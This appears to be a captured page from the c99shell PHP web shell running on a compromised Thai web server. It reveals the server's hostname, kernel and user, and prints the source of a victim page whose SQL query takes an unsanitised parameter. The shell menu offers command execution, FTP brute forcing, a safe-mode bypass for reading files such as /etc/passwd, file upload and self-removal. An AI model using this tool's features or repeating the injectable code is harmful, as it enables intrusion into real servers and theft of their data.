!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Information/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditInfo.php (5.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 session_start
();
 if (
session_is_registered("valid_user"))
 {
include(
"../../include/FunctionDB.php");
include(
"../../include/Function.php");
ConnectDB();
  
$sql ="SELECT * FROM information_tb WHERE Info_code='$Info_code'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);
  
$Date =  $rs[Date];
$Date explode("-",$Date)
?>
<html>
<head>
<title>Edit Information Data</title>
<link rel="stylesheet" href="../css/cart4.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../../css/style1.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#C4D5D5">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td> 
      <div align="center"><font color="#0000FF" size="2" face="Tahoma"><strong><font color="#003366">ขณะนี้ 
        คูณ</font></strong></font> <strong><font size="2" face="Tahoma"><?php echo"$valid_user"?> 
        <font color="#003366">กำลังใช้งานระบบ</font></font></strong></div></td>
  </tr>
  <tr> 
    <td> <table width="100%" border="0" cellpadding="0" cellspacing="1">
        <tr > 
          <td width="20%" class="table"> 
            <div align="center"><font size="2" face="Tahoma"><a href="../menu_manage.php" class="d">กลับเมนูหลัก</a></font></div></td>
          <td width="20%" class="table"> 
            <div align="center"><font size="2" face="Tahoma"><a href="InfomationMenu.php" class="d">แสดงข้อมูล</a></font></div></td>
          <td width="20%" class="table"> 
            <div align="center"><font size="2" face="Tahoma"><a href="EditListInfo.php?Teacher_code=<?echo $code?>&Username=<?echo $valid_user;?>" class="d">ลบ 
              หรือ แก้ไข</a></font></div></td>
          <td width="20%" class="table"> 
            <div align="center"><font size="2" face="Tahoma"><a href="../../logout.php" class="d">Logout</a></font></div></td>
        </tr>
      </table></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699">
  <tr bgcolor="#7CAB84"> 
    <td colspan="3"> 
      <div align="center"><strong><font color="#993333" size="4" face="Tahoma">แก้ไข</font><font color="#FFFFCC" size="4" face="Tahoma"> 
        <font color="#FFFFFF">ข้อมูลประชาสัมพันธ</font>์</font></strong></div></td>
  </tr>
  <form action="EditInfo.php" method="post">
    <tr bgcolor="#CCCCCC"> 
      <td width="29%" bordercolor="#0066CC" bgcolor="#eeeeee"> <div align="center"><font color="#003366" size="2" face="Tahoma">หัวข้อประชาสัมพันธ์</font></div></td>
      <td width="2%" bordercolor="#CCCCCC" bgcolor="#eeeeee">&nbsp;</td>
      <td width="69%" bordercolor="#CCCCCC" bgcolor="#eeeeee">
<input name="Info_name" type="text" class="input" id="Info_name" value="<? echo $rs[Info_name]?>" size="70"> 
      </td>
    </tr>
    <tr bgcolor="#CCCCCC"> 
      <td bordercolor="#0066CC" bgcolor="#eeeeee"> <div align="center"><font color="#003366" size="2" face="Tahoma">วัน/เดือน/ปี 
          </font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee">&nbsp;</td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"> 
        <input name="Date" type="text" id="Date" value="<? echo $rs[Date]?>" size="20"></td>
    </tr>
    <tr bgcolor="#CCCCCC"> 
      <td bordercolor="#0066CC" bgcolor="#eeeeee"> <div align="center"><font color="#003366" size="2" face="Tahoma">รายละเอียด</font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee">&nbsp;</td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee"> 
        <textarea name="Info_detail" cols="50" rows="7" id="Info_detail" d><? echo $rs[Info_detail]?></textarea></td>
    </tr>
    <tr bgcolor="#CCCCCC"> 
      <td bordercolor="#0066CC" bgcolor="#eeeeee"> <div align="center"><font color="#003366" size="2" face="Tahoma">หน่วยงาน</font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee">&nbsp;</td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee">
<input name="Organiz" type="text" id="Organiz" value="<? echo $rs[Organiz]?>" size="50"></td>
    </tr>
    <tr bgcolor="#CCCCCC"> 
      <td bordercolor="#0066CC" bgcolor="#eeeeee"> <div align="center"><font color="#003366" size="2" face="Tahoma">ผู้รับผิดชอบ</font></div></td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee">&nbsp;</td>
      <td bordercolor="#CCCCCC" bgcolor="#eeeeee">
<input name="Supervisor" type="text" id="Supervisor" value="<? echo $rs[Supervisor]?>"></td>
    </tr>
    <tr bgcolor="#7CAB84" > 
      <td height="26" colspan="3"> 
        <div align="center"> 
          <input type="hidden" name="Info_code" value=" <? echo $rs[Info_code]?>">
          <input type="submit" name="Submit" value="    บันทึก    ">
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          <input type="reset" name="Reset" value="    ล้าง     ">
        </div></td>
    </tr>
  </form>
</table>
</body>
</html>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../FrmLogin.php\" target=\"mainFrame\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0108 ]--